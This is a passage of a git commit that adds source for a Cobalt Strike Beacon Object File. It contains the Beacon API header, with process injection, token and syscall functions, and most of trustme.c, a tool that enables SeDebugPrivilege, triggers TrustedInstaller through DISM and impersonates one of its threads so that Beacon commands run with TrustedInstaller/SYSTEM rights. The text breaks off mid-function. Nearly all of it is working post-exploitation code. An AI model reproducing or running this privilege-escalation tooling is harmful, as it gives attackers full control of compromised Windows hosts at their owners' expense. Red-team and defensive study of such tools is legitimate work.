Upload files to "/"

This commit is contained in:
meowmycks 2026-04-01 15:29:18 -04:00
parent 4c8bdad5e7
commit bdf51d5226
3 changed files with 781 additions and 0 deletions

403
beacon.h Normal file
View File

@ -0,0 +1,403 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
* Updated the BEACON_INFO data structure to add new parameters
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
* 4/25/2024: Added APIs to call Beacon's system call implementation
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
* 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
* 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
* 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
*/
#ifndef _BEACON_H_
#define _BEACON_H_
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
#define CALLBACK_CUSTOM 0x1000
#define CALLBACK_CUSTOM_LAST 0x13ff
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/* Information the user can set in the USER_DATA via a UDRL */
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_UDC2_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
/**
* This structure allows the user to provide additional information
* about the allocated heap for cleanup. It is mandatory to provide
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
* whether the clean up code should destroy the heap or simply free the pages.
* This is useful in situations where a loader allocates memory in the
* processes current heap.
*/
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
/*
* version - The version of the beacon dll was added for release 4.10
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*
* Added in version 4.10
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
* via a UDRL.
*/
typedef struct {
unsigned int version;
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
ALLOCATED_MEMORY allocatedMemory;
} BEACON_INFO, *PBEACON_INFO;
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
/* Beacon System call */
/* Syscalls API */
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
* This allows for retrieving a copy of the information which would be under the BOF's
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
*/
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
/* Beacon System call functions which will use the current system call method */
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
/* Beacon Gate APIs */
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _BEACON_H_

340
trustme.c Normal file
View File

@ -0,0 +1,340 @@
/*
* trustme.c - Become TrustedInstaller BOF
*
* Uses the DISM API to trigger TrustedInstaller.exe, then walks
* the process list via NtGetNextProcess/NtGetNextThread to find it
* and impersonate one of its threads via NtImpersonateThread.
*
* Requires: Admin context with SeDebugPrivilege available
*
* Compile (x64):
* x86_64-w64-mingw32-gcc -c trustme.c -o trustme.x64.o -masm=intel
*
* Compile (x86):
* i686-w64-mingw32-gcc -c trustme.c -o trustme.x86.o -masm=intel
*/
#include <windows.h>
#include <winternl.h>
#include "beacon.h"
/* ======================================================================
* Dynamic Function Resolution (DFR) declarations
* ====================================================================== */
/* --- kernel32.dll --- */
DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR);
DECLSPEC_IMPORT WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HMODULE);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(void);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
/* --- advapi32.dll --- */
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE, DWORD, BOOL, PHANDLE);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$LookupAccountSidA(LPCSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, PSID_NAME_USE);
/* --- msvcrt --- */
DECLSPEC_IMPORT void * __cdecl MSVCRT$malloc(size_t);
DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *);
DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *, const char *);
DECLSPEC_IMPORT wchar_t * __cdecl MSVCRT$wcsstr(const wchar_t *, const wchar_t *);
DECLSPEC_IMPORT wchar_t * __cdecl MSVCRT$_wcslwr(wchar_t *);
DECLSPEC_IMPORT void * __cdecl MSVCRT$memcpy(void *, const void *, size_t);
DECLSPEC_IMPORT void * __cdecl MSVCRT$memset(void *, int, size_t);
// Ntdll function typedefs
typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* fnNtGetNextProcess)(
HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
typedef NTSTATUS(NTAPI* fnNtGetNextThread)(
HANDLE, HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
typedef NTSTATUS(NTAPI* fnNtImpersonateThread)(
HANDLE, HANDLE, PSECURITY_QUALITY_OF_SERVICE);
typedef NTSTATUS(NTAPI* fnNtClose)(HANDLE);
// DISM function typedefs
typedef UINT DismSession;
typedef enum {
DismImageHealthy = 0,
DismImageRepairable = 1,
DismImageNonRepairable = 2
} DismImageHealthState;
typedef HRESULT(WINAPI* fnDismInitialize)(UINT, PCWSTR, PCWSTR);
typedef HRESULT(WINAPI* fnDismOpenSession)(PCWSTR, PCWSTR, PCWSTR, DismSession*);
typedef HRESULT(WINAPI* fnDismCheckImageHealth)(DismSession, BOOL, PVOID, PVOID, PVOID, DismImageHealthState*);
typedef HRESULT(WINAPI* fnDismCloseSession)(DismSession);
typedef HRESULT(WINAPI* fnDismShutdown)(void);
// constants
#define DISM_ONLINE_IMAGE L"DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}"
#ifndef ProcessImageFileName
#define ProcessImageFileName 27
#endif
#ifndef STATUS_INFO_LENGTH_MISMATCH
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#endif
#ifndef STATUS_BUFFER_TOO_SMALL
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
#endif
#ifndef SE_DEBUG_NAME
#define SE_DEBUG_NAME "SeDebugPrivilege"
#endif
// enable SeDebugPrivilege
static BOOL EnableDebugPrivilege(void) {
HANDLE hToken = NULL;
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken failed: %lu", KERNEL32$GetLastError());
return FALSE;
}
LUID luid;
if (!ADVAPI32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) {
BeaconPrintf(CALLBACK_ERROR, "LookupPrivilegeValue failed: %lu", KERNEL32$GetLastError());
KERNEL32$CloseHandle(hToken);
return FALSE;
}
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
BeaconPrintf(CALLBACK_ERROR, "AdjustTokenPrivileges failed: %lu", KERNEL32$GetLastError());
KERNEL32$CloseHandle(hToken);
return FALSE;
}
if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
BeaconPrintf(CALLBACK_ERROR, "SeDebugPrivilege not available. Are you elevated?");
KERNEL32$CloseHandle(hToken);
return FALSE;
}
KERNEL32$CloseHandle(hToken);
return TRUE;
}
// entrypoint
void go(char * args, int alen) {
if (!EnableDebugPrivilege()) {
BeaconPrintf(CALLBACK_ERROR, "Failed to enable SeDebugPrivilege. Aborting.");
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] SeDebugPrivilege enabled");
// load dismapi.dll and resolve DISM functions
HMODULE hDism = KERNEL32$LoadLibraryA("dismapi.dll");
if (!hDism) {
BeaconPrintf(CALLBACK_ERROR, "Failed to load dismapi.dll: %lu", KERNEL32$GetLastError());
return;
}
fnDismInitialize pDismInitialize = (fnDismInitialize)KERNEL32$GetProcAddress(hDism, "DismInitialize");
fnDismOpenSession pDismOpenSession = (fnDismOpenSession)KERNEL32$GetProcAddress(hDism, "DismOpenSession");
fnDismCheckImageHealth pDismCheckImageHealth = (fnDismCheckImageHealth)KERNEL32$GetProcAddress(hDism, "DismCheckImageHealth");
fnDismCloseSession pDismCloseSession = (fnDismCloseSession)KERNEL32$GetProcAddress(hDism, "DismCloseSession");
fnDismShutdown pDismShutdown = (fnDismShutdown)KERNEL32$GetProcAddress(hDism, "DismShutdown");
if (!pDismInitialize || !pDismOpenSession || !pDismCheckImageHealth || !pDismCloseSession || !pDismShutdown) {
BeaconPrintf(CALLBACK_ERROR, "Failed to resolve one or more DISM functions");
KERNEL32$FreeLibrary(hDism);
return;
}
// resolve ntdll functions
HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
BeaconPrintf(CALLBACK_ERROR, "Failed to get ntdll handle");
KERNEL32$FreeLibrary(hDism);
return;
}
fnNtQueryInformationProcess pNtQIP = (fnNtQueryInformationProcess)KERNEL32$GetProcAddress(hNtdll, "NtQueryInformationProcess");
fnNtGetNextProcess pNtGNP = (fnNtGetNextProcess)KERNEL32$GetProcAddress(hNtdll, "NtGetNextProcess");
fnNtGetNextThread pNtGNT = (fnNtGetNextThread)KERNEL32$GetProcAddress(hNtdll, "NtGetNextThread");
fnNtImpersonateThread pNtIT = (fnNtImpersonateThread)KERNEL32$GetProcAddress(hNtdll, "NtImpersonateThread");
fnNtClose pNtC = (fnNtClose)KERNEL32$GetProcAddress(hNtdll, "NtClose");
if (!pNtQIP || !pNtGNP || !pNtGNT || !pNtIT || !pNtC) {
BeaconPrintf(CALLBACK_ERROR, "Failed to resolve one or more ntdll functions");
KERNEL32$FreeLibrary(hDism);
return;
}
// trigger TrustedInstaller via DISM
HRESULT hr = pDismInitialize(0, NULL, NULL);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "DismInitialize failed: 0x%08X", hr);
KERNEL32$FreeLibrary(hDism);
return;
}
DismSession session = 0;
hr = pDismOpenSession(DISM_ONLINE_IMAGE, NULL, NULL, &session);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "DismOpenSession failed: 0x%08X", hr);
pDismShutdown();
KERNEL32$FreeLibrary(hDism);
return;
}
DismImageHealthState state;
MSVCRT$memset(&state, 0, sizeof(state));
hr = pDismCheckImageHealth(session, FALSE, NULL, NULL, NULL, &state);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "DismCheckImageHealth failed: 0x%08X", hr);
pDismCloseSession(session);
pDismShutdown();
KERNEL32$FreeLibrary(hDism);
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[*] DISM health check complete, TrustedInstaller should be running");
// walk processes to find TrustedInstaller.exe
HANDLE hProcess = NULL;
HANDLE hPrevProcess = NULL;
NTSTATUS status = 0;
BOOL found = FALSE;
while (NT_SUCCESS(pNtGNP(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess))) {
if (hPrevProcess) pNtC(hPrevProcess);
hPrevProcess = hProcess;
ULONG len = 0;
status = pNtQIP(hProcess, ProcessImageFileName, NULL, 0, &len);
if (status != STATUS_INFO_LENGTH_MISMATCH && status != STATUS_BUFFER_TOO_SMALL)
continue;
if (len == 0)
continue;
PUNICODE_STRING pImageFileName = (PUNICODE_STRING)MSVCRT$malloc(len);
if (!pImageFileName)
continue;
status = pNtQIP(hProcess, ProcessImageFileName, pImageFileName, len, &len);
if (!NT_SUCCESS(status)) {
MSVCRT$free(pImageFileName);
continue;
}
BOOL isTarget = FALSE;
if (pImageFileName->Buffer && pImageFileName->Length > 0) {
// copy to stack buffer for case-insensitive match
WCHAR lower[MAX_PATH];
MSVCRT$memset(lower, 0, sizeof(lower));
USHORT charsToCopy = pImageFileName->Length / sizeof(WCHAR);
if (charsToCopy >= MAX_PATH) charsToCopy = MAX_PATH - 1;
MSVCRT$memcpy(lower, pImageFileName->Buffer, charsToCopy * sizeof(WCHAR));
lower[charsToCopy] = L'\0';
MSVCRT$_wcslwr(lower);
isTarget = (MSVCRT$wcsstr(lower, L"trustedinstaller.exe") != NULL);
}
MSVCRT$free(pImageFileName);
if (!isTarget)
continue;
// get PID
PROCESS_BASIC_INFORMATION pbi;
MSVCRT$memset(&pbi, 0, sizeof(pbi));
pNtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &len);
BeaconPrintf(CALLBACK_OUTPUT, "[*] Found TrustedInstaller.exe (PID: %llu)",
(unsigned long long)pbi.UniqueProcessId);
// walk threads and impersonate
SECURITY_QUALITY_OF_SERVICE qos;
MSVCRT$memset(&qos, 0, sizeof(qos));
qos.Length = sizeof(qos);
qos.ImpersonationLevel = SecurityImpersonation;
qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
qos.EffectiveOnly = FALSE;
HANDLE hThread = NULL;
HANDLE hPrevThread = NULL;
while (NT_SUCCESS(pNtGNT(hProcess, hThread, THREAD_DIRECT_IMPERSONATION, 0, 0, &hThread))) {
if (hPrevThread) pNtC(hPrevThread);
hPrevThread = hThread;
status = pNtIT(KERNEL32$GetCurrentThread(), hThread, &qos);
if (!NT_SUCCESS(status)) {
BeaconPrintf(CALLBACK_ERROR, "NtImpersonateThread failed: 0x%08X", status);
continue;
}
// make sure it actually worked by checking thread token identity
char username[257];
MSVCRT$memset(username, 0, sizeof(username));
DWORD usernameLen = 257;
ADVAPI32$GetUserNameA(username, &usernameLen);
if (MSVCRT$_stricmp(username, "SYSTEM") == 0) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Thread impersonation successful (identity: %s)", username);
// Register the impersonation token with Beacon so subsequent
// beacon commands (ls, shell, etc.) use the TrustedInstaller context.
// Open the thread token and pass it to BeaconUseToken.
HANDLE hThreadToken = NULL;
if (ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hThreadToken)) {
if (!BeaconUseToken(hThreadToken)) {
